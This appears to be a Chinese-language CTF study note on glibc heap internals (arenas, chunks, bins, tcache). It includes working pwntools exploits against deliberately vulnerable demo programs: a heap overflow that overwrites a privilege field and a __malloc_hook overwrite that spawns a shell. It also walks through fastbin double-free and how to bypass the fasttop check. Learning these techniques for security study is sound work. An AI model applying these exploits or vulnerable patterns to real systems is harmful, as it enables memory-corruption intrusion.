# Pwn-heap note > Author:堇姬 ## 筆記連結 heap note 1: https://hackmd.io/@naup96321/S1knTRjVR heap note 2: https://hackmd.io/@naup96321/ryDzdYbjA ## 版本問題解決 首先,在老舊版本ubuntu18.04、16.04,要把環境架起來很奇怪。 可以用這個docker image來用 https://hub.docker.com/r/roderickchan/debug_pwn_env/tags ``` docker run -i -t --name ubuntu1804 2e99549a1323 bash docker cp <vm path> 2e8beb8e16d5:<docker path> ``` 進去先 ``` sudo apt install nano ``` 裡面有pwndbg+pwngdb很多東西可以用 另外這個docker內的glibc 2.27用的Ubuntu版本較新,所以已經有檢察tcache key機制了,所以我們用patchelf+glibc all in one ## 甚麼是heap? - 用多少給多少,避免浪費 - 動態分配的記憶體(ex: malloc、new) - 呼叫malloc或new之前是不會有heap segment的 ```c= void *prt=malloc(size) ``` ptmalloc2 tcmalloc jemalloc ## 有哪些 |作業系統|實作方法| |---|---| |glibc|ptmalloc| |windows|winheap| |freebsd|jemalloc| |OSx|zone allocator| ## 根據大小分配 要求memory大小小於128k: 會跟heap pool要求適合大小的空間 ![image](https://hackmd.io/_uploads/SyZm1k3VC.png) ## <128分配 首先先透過`sys_brk`分配一塊132kb heap segment(rw-),叫做`arena`,由主執行緒分配的所以叫做`main arena` 每個thread都有一個Arena,每個Arena中有多個chunk,這些chunk用linked list串接起來,linked list的head稱為bin - 之後需要申請空間 空間會從這132kb中的chunk先分配,不夠再呼叫brk()來增加空間 - 減少空間 呼叫s_brk()來減少空間 ```c= struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex);//定義了一个0x4byte的lock /* Flags (formerly in max_fast). */ int flags;//0x4 /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks;//0x4 /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; //fastbin链的head,總共10个, 每个0x10字节 /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top;//0x4 到此为止总共0x96字节 /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; //切割后剩下的chunk链接到last_remainder /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; // 每个bin头有fd和bk两个指针 /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; //位图,用32bit来分别表示当前bin哪个链上有chunk,通过按位与的方式 /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; } ``` ## Chunk glibc實作動態memory管理的一個資料結構 用malloc拿到的記憶體就是chunk - allocate chunk(inuse) - free chunk - top chunk 大小固定為0x10的倍數(舉例假如malloc申請一塊0x19大小的,會拿到0x20) chunk=chunk header 0x10 + user data ![image](https://hackmd.io/_uploads/rkmwjl24R.png) ```c= #define INTERNAL_SIZE_T size_t struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk *fd; /* double links -- used only if free. */ struct malloc_chunk *bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk *fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk *bk_nextsize; }; ``` ## allocate chunk(inuse) 正在使用的chunk - prev_size/data: 上一塊如果是free chunk則紀錄該chunk的size,否則同時是他的data - P bit: 上一個chunk是否還在使用 -> 1 - M bit: chunk是否透過mmap出來的 -> 2 - N bit: 該chunk是否屬於main arena -> 4 ![image](https://hackmd.io/_uploads/ryBc2l3V0.png) ![image](https://hackmd.io/_uploads/BJQ43g2NA.png) ### N M P bit 這邊注意一下,這裡是使用bit,也就是用gdb看會同時顯示在最後一位 舉個例子 ```c #include <stdio.h> #include <stdlib.h> #include <pthread.h> void* thread_func(void* arg) { // 分配 0x30 (48 bytes) 大小的記憶體 void* chunk = malloc(0x30); if (chunk == NULL) { printf("Memory allocation failed.\n"); return NULL; } // 顯示記憶體地址 printf("Memory allocated at: %p\n", chunk); free(chunk); return NULL; } int main() { pthread_t thread; // 創建新線程 if (pthread_create(&thread, NULL, thread_func, NULL) != 0) { printf("Error creating thread.\n"); return 1; } // 等待線程完成 pthread_join(thread, NULL); return 0; } ``` 在新線程中,我malloc一塊0x40大小chunk,會發現bit變4,是該malloc不在main arena,所以+4 ![image](https://hackmd.io/_uploads/ryM0LY2oR.png) ## free chunk - fd: 指向同一個bin中前一個chunk(linkkist) - bk: 指向同一個bin中後一個chunk(linklist) ![image](https://hackmd.io/_uploads/BJUM0lnNC.png) ![image](https://hackmd.io/_uploads/HJ7mAx2VR.png) ## top chunk 在heap最頂端,第一次malloc完後,剩下的是top chunk,之後分配空間時會從top chunk切割 ![image](https://hackmd.io/_uploads/r1oDQ724A.png) ## main arena 管理及實現process中的heap,在main process中的arena稱為main arena(存在於libc段) 他記錄了很多東西 - bins鏈表 - top chunk位址 ### source code https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L1655 ```c struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; ``` ![image](https://hackmd.io/_uploads/H1ZS7hNi0.png) ## bin 回收free chunk的資料結構 glibc有幾種處理freed chunk的方式依chunk大小、性質、何時free掉區分成 * Fast bin * Unsorted bin * Small bin * Large bin * Tcache(Glibc 2.26後新增) ![image](https://hackmd.io/_uploads/Hk61kZhV0.png) ## Fast bin - bin中依size分成0x20、0x30 ... 0x80(小於global_max_fast) - fd指向前一個、bk則未使用(singly linklist) - Free時不會將下一塊 P bit 重設 ## Unsorted bin - 若一個被free的chunk沒被放到Tcache或Fastbin時候,會放到這 - 鄰近上一塊chunk是free跟上一塊合併 - 鄰近下一塊是Top chunk跟Top chunk合併 - 鄰近下一塊不是Top chunk,檢查是不是看是不是free,是就合併,並加入Unsorted bin 希望給free掉的chunk再有一次機會被malloc ![image](https://hackmd.io/_uploads/HyOjNV5wA.png) ### demo #### source code ```c #include <stdio.h> #include <stdlib.h> int main() { char *ptr1 = malloc(0x420); malloc(0x20); char *ptr2 = malloc(0x420); malloc(0x20); char *ptr3 = malloc(0x420); malloc(0x20); free(ptr1); free(ptr2); free(ptr3); return 0; } ``` #### 流程 先malloc六個chunk ![image](https://hackmd.io/_uploads/SyDrWOiv0.png) 第一個是tcache_perthread_struct(詳細請見後面Glibc 2.31機制) 接下來就分別是我們malloc的了 另外為了防止被合併掉,所以中間用malloc 0x20隔開,這樣他就會確實進入unsorted bin 再來開始看free,三個都free掉後長這樣,可以看出是個循環 ![image](https://hackmd.io/_uploads/r1iZO_ow0.png) ![image](https://hackmd.io/_uploads/SJCCP_iDR.png) ## large bin https://xz.aliyun.com/t/12751?time__1311=GqGxu7G%3DD%3DitKGN4eeqBKGQKi%3DBrkOu03EbD#toc-0 ![image](https://hackmd.io/_uploads/B14MOud5A.png) ### glibc source code 首先分析一下large bin結構,發現large bin還多了 fd_nextsize、bk_nextsize,橫向+縱向的列表來管理free chunk https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L1048 ```c struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; ``` ## tcache glibc 2.27引入的新機制,主要是為了優化heap的機制,引入了tcache_entry和tcache_perthread_struct(source code取glibc 2.31) ### tcache_entry ```c typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; ``` ![image](https://hackmd.io/_uploads/HJ6wOazj0.png) fd指向data的地方 2.31引入key機制,檢查double free ### tcache_perthread_struct ```c typedef struct tcache_perthread_struct { uint16_t counts[TCACHE_MAX_BINS]; tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct; ``` ![image](https://hackmd.io/_uploads/H1QumnVs0.png) ### tcache usage 這邊在複習一次tcache流程 - 第一次malloc放入`tcache_perthread_struct` - 若chunk小於small bin size,進tcache前會先放入fastbin或unsorted bin - 若要進tcache,先看對應大小的tcache有沒有滿,沒有就放入,滿的話放進fastbin或unsorted bin(另外tcache中的chunk不會合併) - 當重新申請 chunk 且申請的大小符合 tcache 的範圍時,會先從 tcache 中取出 chunk,直到 tcache 為空。當 tcache 為空時,會從 bin 中查找。 - tcache 為空時,如果 fastbin、small bin、unsorted bin 中有符合大小的 chunk,會先將這些 bin 中的 chunk 放入 tcache,直到填滿,之後再從 tcache 中取出。 ![image](https://hackmd.io/_uploads/SykChlDcA.png) ### malloc一塊tcache上的chunk ```python if (tc_idx < mp_.tcache_bins && tcache && tcache->entries[tc_idx] != NULL) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT; #endif } ``` 往上追mp_ ```c static struct malloc_par mp_ = { .top_pad = DEFAULT_TOP_PAD, .n_mmaps_max = DEFAULT_MMAP_MAX, .mmap_threshold = DEFAULT_MMAP_THRESHOLD, .trim_threshold = DEFAULT_TRIM_THRESHOLD, #define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8)) .arena_test = NARENAS_FROM_NCORES (1) #if USE_TCACHE , .tcache_count = TCACHE_FILL_COUNT, .tcache_bins = TCACHE_MAX_BINS, .tcache_max_bytes = tidx2usize (TCACHE_MAX_BINS-1), .tcache_unsorted_limit = 0 /* No limit. */ #endif }; ``` ```c define TCACHE_MAX_BINS 64 ``` 簡單來說判斷free的時候,tcache上的一些idx範圍跟tcache->entries存不存在 ```c /* Caller must ensure that we know tc_idx is valid and there's available chunks to remove. */ static __always_inline void * tcache_get (size_t tc_idx) { tcache_entry *e = tcache->entries[tc_idx]; //拿到第一塊tcache tcache->entries[tc_idx] = e->next; //tcache entry指next --(tcache->counts[tc_idx]); // 計數器減1 e->key = NULL; // key設為NULL return (void *) e; //get chunk } ``` get的時候幾乎沒有檢查 ### libc_free ```c void __libc_free (void *mem) { mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ // 如果 __free_hook 有定義的話,就會以 __free_hook 為 function pointer 去呼叫 void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS (0)); return; } // free NULL 會直接回傳 if (mem == 0) return; // chunk2mem(): input 為 chunk 的起頭,output 為使用者拿到的 chunk // mem2chunk(): input 為使用者拿到的 chunk,output 為 chunk 的起頭 p = mem2chunk (mem); // ! 如果 chunk 是透過 mmap() 產生的,則會使用 unmap 來釋放 if (chunk_is_mmapped (p)) { ... munmap_chunk (p); return; } // 通常在 malloc 時會已經初始化完 tcache MAYBE_INIT_TCACHE (); // 檢查 chunk 的 NON_MAIN_ARENA bit,如果是 unset,則回傳 main_arena // 否則回傳 chunk 所屬的 heap 其對應到的 arena ar_ptr = arena_for_chunk (p); // ! _int_free 用來處理釋放記憶體的操作 _int_free (ar_ptr, p, 0); } ``` ### int_free https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L4165 ```c #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } #endif ``` https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4153 ```c static void _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* 它的大小 */ mfastbinptr *fb; /* 相關的 fastbin */ mchunkptr nextchunk; /* 下一個連續的區塊 */ INTERNAL_SIZE_T nextsize; /* 下一個區塊的大小 */ int nextinuse; /* 下一個區塊是否被使用 */ INTERNAL_SIZE_T prevsize; /* 前一個連續區塊的大小 */ mchunkptr bck; /* 用於鏈接的臨時變數 */ mchunkptr fwd; /* 用於鏈接的臨時變數 */ size = chunksize (p); /* 一個不會影響性能的小安全檢查:分配器永遠不會在地址空間的末尾環繞。 因此,我們可以排除一些可能會意外出現的大小值,或者是某些入侵者「設計」出來的。 */ if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) || __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer"); /* 我們知道每個區塊的大小至少為 MINSIZE 位元組,或是 MALLOC_ALIGNMENT 的倍數。 */ if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size))) malloc_printerr ("free(): invalid size"); check_inuse_chunk(av, p); #if USE_TCACHE // 關注這塊 { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { /* 檢查它是否已經在 tcache 中。 */ tcache_entry *e = (tcache_entry *) chunk2mem (p); /* 這個測試在發生 double free 時會成功。然而,我們並不是 100% 信任它(它也有可能以 1/2^<size_t> 的機率匹配隨機的有效載荷數據), 所以在中止之前,先驗證這是不是一個不可能的巧合。 */ if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* 如果我們到了這裡,那麼這就是一個巧合。我們浪費了一些計算週期, 但不會中止。 */ } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } } #endif ``` ### tcache_put https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L2925 ```c static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); assert (tc_idx < TCACHE_MAX_BINS); e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } ``` https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L2917 ```c static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache; e->next = tcache->entries[tc_idx]; tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } ``` ## malloc & free 流程 malloc ![image](https://hackmd.io/_uploads/ryVXaZzjR.png) free ![image](https://hackmd.io/_uploads/HyF7TZMjR.png) ## Glibc 2.26 以前malloc & free機制(2.23為例) malloc(0x20)三個拿到了三塊0x30大小的記憶體 ![image](https://hackmd.io/_uploads/BJguhmxD0.png) free掉ptr1,fast bins 0x30 bins指向ptr 1 header,並且ptr1 fd設為0 ![image](https://hackmd.io/_uploads/HyHF3mgw0.png) 注意這邊ptr 1 被free掉後沒有重設P bit ![image](https://hackmd.io/_uploads/r1Dc27evA.png) free掉ptr2 0x30 bins -> ptr2 chunk header ptr2 fd -> ptr1 chunk header ptr1 fd -> 0 ![image](https://hackmd.io/_uploads/S1Sj27lDA.png) free掉ptr3 0x30 bins -> ptr3 chunk header ptr3 fd -> ptr2 chunk header ptr2 fd -> ptr1 chunk header ptr1 fd -> 0 ![image](https://hackmd.io/_uploads/Sydn37gPC.png) 之後又malloc一次,會從bins裡面抓最後尾端的ptr3 free來用 ![image](https://hackmd.io/_uploads/rktp3XeDC.png) ### source code分析 ## Glibc 2.26 以後malloc & free機制(2.31為例) ### Tcache * 於Glibc2.26新增的加速效率的機制 * 從0x20、0x30、0x40、...0x410 * 每個Tcache只能收7個chunk * tcache_perthread_struct結構管理Tcache * free掉不會清空P bit ![image](https://hackmd.io/_uploads/SJW1g-ePR.png) count計算目前已經收的chunk數量 ### code ```c= #include <stdio.h> #include <stdlib.h> int main() { char *ptr1=malloc(0x30); char *ptr2=malloc(0x30); char *ptr3=malloc(0x30); memset(ptr1,'A',0x20); free(ptr1); free(ptr2); free(ptr3); return 0; } ``` ### 分析 備註:下列插圖fd沒有指到上一個chunk是因為我開2.35,所以fd會是怪怪的地方 https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c 一開始未malloc前,heap還不存在,main arena未初始化 ![image](https://hackmd.io/_uploads/HytHMJlP0.png) 沒有heap段 ![image](https://hackmd.io/_uploads/SJsUG1xvR.png) 當第一次malloc時,像kernel申請一大塊記憶體(Top chunk),並且從top chunk割空間給malloc申請的記憶體,並初始化main arena。 ![image](https://hackmd.io/_uploads/BJenOz1ew0.png) ![image](https://hackmd.io/_uploads/B145MyxPR.png) 第一段0x290為Tcache(tcache_perthread_struct) ![image](https://hackmd.io/_uploads/HyvFSklPC.png) memset後會把0x20個A,寫到ptr1(觀察圖片那段0x41,那就是user data段) 觀察一下0x555555559290,左邊都是0(因為上一塊是Tcache,所以這塊是Tcace的data),右邊是size跟p bit,上一個chunk還在使用為1,大小為0x40,故顯示0x41 ![image](https://hackmd.io/_uploads/r1xVHE1gPA.png) 之後開始free掉ptr1 ptr1 那塊 fd指向 0x0,並且後面那塊被蓋成了奇怪的東西(要注意,這裡不是bk,而是tcache的key) ![image](https://hackmd.io/_uploads/H1rgk1ZvC.png) ![image](https://hackmd.io/_uploads/H1WE8JxPR.png) > 接下來開始看free掉ptr1 可以看到tcache的0x40 entry -> free掉的ptr1(跟fast bin不一樣,指向的不是header,是fd、bk那行) ![image](https://hackmd.io/_uploads/H1yalWlPR.png) 可以先看到第二行,可以看到0x40 cnt為1 另外0x5555555590a0為0x40 entry -> 0x5555555592a0 ![image](https://hackmd.io/_uploads/r1o2w1eDA.png) 另外你會看到bk變成了怪怪的一串數字,那是tcache key,用於保護,而ptr1 fd -> 0x0 ![image](https://hackmd.io/_uploads/SJFSC0gwA.png) > free掉ptr2 ![image](https://hackmd.io/_uploads/rytd7WlD0.png) cnt 0x40變2,tcache的0x40 entry -> 0x00005555555592e0(ptr2) ![image](https://hackmd.io/_uploads/SkWWNZgvA.png) ![image](https://hackmd.io/_uploads/HJI50ClwA.png) ptr2 的 fd會指向 ptr1 ![image](https://hackmd.io/_uploads/HJIi0RgDR.png) 以此類推最後像這樣 ![image](https://hackmd.io/_uploads/SkSTXWevA.png) ![image](https://hackmd.io/_uploads/B1oNkybwR.png) ## malloc & calloc & reaclloc https://medium.com/@adwait.purao/dynamic-memory-allocation-in-c-using-malloc-calloc-free-and-realloc-e23cc8cb3d9c ### malloc https://tw.gitbook.net/c_standard_library/c_function_malloc.html void *malloc(size_t size) size_t size -> 大小 ### calloc https://tw.gitbook.net/c_standard_library/c_function_calloc.html void *calloc(size_t nitems, size_t size) size_t nitems -> 元素數 size_t size -> 每個元素size ### realloc https://tw.gitbook.net/c_standard_library/c_function_realloc.html void *realloc(void *ptr, size_t size) void *ptr -> 曾經分配過的空間pointer size_t size -> 分配大小 |條件|等價| |---|----| |ptr = NULL |malloc(size)| |size = 0 |free(*ptr)| ## brk & sbrk ```c #include <unistd.h> int brk(void *addr); void *sbrk(intptr_t increment); ``` 會去改變program break的位置 program break 是 data segments end point,也就是heap結束位置 ![image](https://hackmd.io/_uploads/BkQP55wRA.png) ## heap overflow 將資料寫入heap時,沒有控制輸入長度,導致可以覆寫到其他heap位置 ### demo ```c= #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct { char name[8]; int privilege; char *msg; char reserved[0x18]; } Info; void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); } int main(void) { Info *info; char *msg; init(); printf("Hello~\n"); printf("give me your msg: \n"); msg = malloc(40); info = malloc(sizeof(Info)); strcpy(info->name, "User"); info->privilege = 2; info->msg = msg; read(0, msg, 0x40); printf("Checking privilege...\n"); if (info->privilege == 1) { printf("Hello Admin %s\n", info->name); } else { printf("Your privilege is too low QQ, Bye %s\n", info->name); } return 0; } ``` ### 分析 看一下parseheap你會看到malloc了兩塊,一塊0x30,一塊0x40 ![image](https://hackmd.io/_uploads/ByFcNNzDR.png) 第一塊read了0x40,大於40(0x28),可以heap overflow 像這樣你就發現輸出的User已經變成了一堆a了 ![image](https://hackmd.io/_uploads/BkjMvEfDR.png) 第二塊架構是 ```c typedef struct { char name[8]; int privilege; char *msg; char reserved[0x18]; } Info; ``` ![image](https://hackmd.io/_uploads/BJwFSNGDA.png) ``` 0x5555555592c0: 0x0000000000000000 0x0000000000000041 (header) 0x5555555592d0: 0x0000000072657355 0x0000000000000002 (User、privilege) 0x5555555592e0: 0x00005555555592a0 0x0000000000000000 (*msg、reserve) 0x5555555592f0: 0x0000000000000000 0x0000000000000000 ``` 然後看到read,會把東西讀到第一塊chunk ![image](https://hackmd.io/_uploads/HkOwUEzwA.png) 要蓋掉User、privilege ![image](https://hackmd.io/_uploads/S10aLVGPA.png) ``` 0x555555559290: 0x0000000000000000 0x0000000000000031 0x5555555592a0: 0x0000000000000000 0x0000000000000000 0x5555555592b0: 0x0000000000000000 0x0000000000000000 0x5555555592c0: 0x0000000000000000 0x0000000000000041(蓋0x30蓋到這裡) 0x5555555592d0: 0x0000000072657355 0x0000000000000002 0x5555555592e0: 0x00005555555592a0 0x0000000000000000 0x5555555592f0: 0x0000000000000000 0x0000000000000000 ``` ### script ```python= from pwn import * r=process('./heapoverflow') payload=b'a'*0x30+b'NAUP\0\0\0\0'+p64(1) r.sendline(payload) r.interactive() ``` 這樣就成功了 ![image](https://hackmd.io/_uploads/S14udEGPA.png) ## UAF(use after free) 我們把指標丟給free,會把指標指向的chunk free掉 如果free掉後,沒有清空pointer就可能會有問題(可以用來information leak) 又稱dangling pointer 後續繼續在這個chunk上做操做就是UAF ### 讀取pointer ```c= #include <stdio.h> #include <stdlib.h> #include <string.h> void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); } int main() { init(); char *buf[0x10]; char *ptr1 = malloc(0x20); char *ptr2 = malloc(0x20); char *ptr3 = malloc(0x20); free(ptr1); free(ptr2); free(ptr3); // ptr1, ptr2 are dangling pointers now. memcpy(buf, ptr1, 0x10); printf("ptr1 fd: %#llx\n", *(unsigned long long *)buf); memcpy(buf, ptr2, 0x10); printf("ptr2 fd: %#llx\n", *(unsigned long long *)buf); memcpy(buf, ptr3, 0x10); printf("ptr3 fd: %#llx\n", *(unsigned long long *)buf); return 0; } ``` 舉這個程式為例,你就會發現當你已經free掉這三塊chunk後你在針對三個ptr去做讀取,可以讀到fd三個值 ### double free 可以free同一塊chunk兩次 會出現幾個狀況 Tcache or fast bin鍊上會出現兩次相同的chunk 那如果我再次malloc他呢? 那就會出現他記憶體給你了變成allocated chunk,但他還在鏈表,變成了既被free,又被allocate的狀況 ## hook 在malloc/free/realloc/calloc 進到分配相關演算法之前,若有設定hook function,會先進入hook 若可以寫入hook,那就可以就可以control執行流程 也可以寫入Onegadget來get shell ### Glibc source code https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L3022 ```c= void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0)); ``` 可以看到他在往下執行前先去read `__malloc_hook`並執行他 ### demo ```c= #include <stdio.h> #include <stdlib.h> void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); } void get_shell() { system("/bin/sh"); } int main(void) { init(); unsigned long long ptr; unsigned long long value; printf("backdoor: %p\n", get_shell); printf("printf : %p\n", printf); printf("Address:\n"); scanf("%llx", &ptr); printf("Value:\n"); scanf("%llx", &value); *(unsigned long long *)ptr = value; malloc(0x20); return 0; } ``` 告訴你shell在哪裡(可以無視PIE了),然後給你printf(也給你libc base了,可以推算hook function在哪裡) 然後要你寫入一個adress跟value,並往那個adress寫入value 那如果你把malloc_hook位置改寫成shell,那你進malloc讀出來的東西就是shell的adress,然後他就會去執行shell ```python= from pwn import * r=process('./hookdemo') printf_offset=0x61c90 shell_address=r.recvline().strip().split(b":")[1][1:] shell_address=int(shell_address.decode(),16) print("shell_address: ",hex(shell_address)) leak_libc=r.recvline().strip().split(b":")[1][1:] leak_libc=int(leak_libc.decode(),16) libc_base=leak_libc-printf_offset print("leak_libc: ",hex(leak_libc)) print("libc base: ",hex(libc_base)) hook=0x1ecb70+libc_base r.sendlineafter(b"Address:",hex(hook)) r.sendlineafter(b"Value:",hex(shell_address)) r.interactive() ``` ![image](https://hackmd.io/_uploads/ryrnZIMP0.png) ## fastbin dup(glibc 2.23) 可以double free讓chunk被free兩次 之後我malloc,此時chunk會同時是allocate和free chunk,這時候我可以寫入蓋掉fd,讓fd指向任意位置 這時候再次malloc會讓我拿到一塊我剛剛改寫fd指向的地方 這時候就可以任意寫入了 ### 示意 ``` fastbin chunk 1(allocate) chunk 2(allocate) ``` 現在我們先free掉chunk 1、chunk 2 ``` fastbin->chunk2->chunk1->NULL chunk 1(free) chunk 2(free) ``` 再來再free一次chunk 1 ``` fastbin->chunk1->chunk2->chunk1->chunk2->... chunk 1(double free) chunk 2(free) ``` 這時候malloc 會拿到chunk 1(然後fastbin退鏈改指chunk 2) ``` fastbin->chunk2->chunk1->chunk2->... ^ chunk1 ___| chunk 1(double free & allocate) chunk 2(free) ``` 這時候對當前malloc到的那塊寫入fd,到一個的pwn_address ``` fastbin->chunk2->chunk1->pwn_address->?? chunk 1(double free & allocate) chunk 2(free) ``` 再來malloc拿到 chunk 2,fastbin退鏈(隨便寫啥都行) ``` fastbin->chunk1->pwn_address->?? chunk 1(double free & allocate) chunk 2(allocate) ``` 再malloc拿到chunk 1,fastbin退鏈指到惡意address(隨便寫啥都行) ``` fastbin->pwn_address->?? chunk 1(double free & allocate) chunk 2(allocate) ``` 再malloc拿到pwn_address,達成任意寫,fastbin->???(這裡須注意,在glibc 2.26以前,fd指向header,但開始寫會從user data,所以選擇address時要往前指0x10左右) 然後注意,你指向的位置的chunk size需要符合該fastbin 所屬size ### 安全機制 #### first 你free的下一塊鄰近chunk size是否正確 ```c= if (__builtin_expect (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ, 0) || __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) { /* We might not have a lock at this point and concurrent modifications of system_mem might have let to a false positive. Redo the test after getting the lock. */ if (have_lock || ({ assert (locked == 0); mutex_lock(&av->mutex); locked = 1; chunk_at_offset (p, size)->size <= 2 * SIZE_SZ || chunksize (chunk_at_offset (p, size)) >= av->system_mem; })) { errstr = "free(): invalid next size (fast)"; goto errout; } if (! have_lock) { (void)mutex_unlock(&av->mutex); locked = 0; } } ``` #### second 若fastbin上的第一個free chunk,又被做了一次free chunk,就會偵測到然後crash 所以為甚麼前面是free 1->free2->free1 這樣fastbin上第一個free chunk就是free2,來bypass https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3929 ```c= mchunkptr old = *fb, old2; unsigned int old_idx = ~0u; do { /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) { errstr = "double free or corruption (fasttop)"; goto errout; } /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been deallocated. See use of OLD_IDX below for the actual check. */ if (have_lock && old != NULL) old_idx = fastbin_index(chunksize(old)); p->fd = old2 = old; } while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); if (have_lock && old != NULL && __builtin_expect (old_idx != idx, 0)) { errstr = "invalid fastbin entry (free)"; goto errout; } } ``` #### third malloc 時候檢查拿到的chunk是否跟fastbin一樣 ```python= if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp = *fb; do { victim = pp; if (victim == NULL) break; } while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim); if (victim != 0) { if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) { errstr = "malloc(): memory corruption (fast)"; errout: malloc_printerr (check_action, errstr, chunk2mem (victim), av); return NULL; } check_remalloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } ``` #### fourth 2.27加入tcache機制,但這版本拔掉了原本的檢查double free(鍊上第一個是否是現在free的),且尚未加入key之類的機制,利用起來比2.23簡單 ### demo #### source code ```c= #include <stdio.h> #include <stdlib.h> // Testing in libc-2.23 // gcc fastbin_dup.c -o fastbin_dup char *g_ptrs[0x20]; int g_size[0x20]; int g_used[0x20]; int idx = 0; void init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); } int read_num() { int num; scanf("%d", &num); return num; } void menu() { puts("=== Note System v0.87 ==="); puts("1) Create Note"); puts("2) Get Note"); puts("3) Set Note"); puts("4) Delete Note"); puts("5) Bye"); 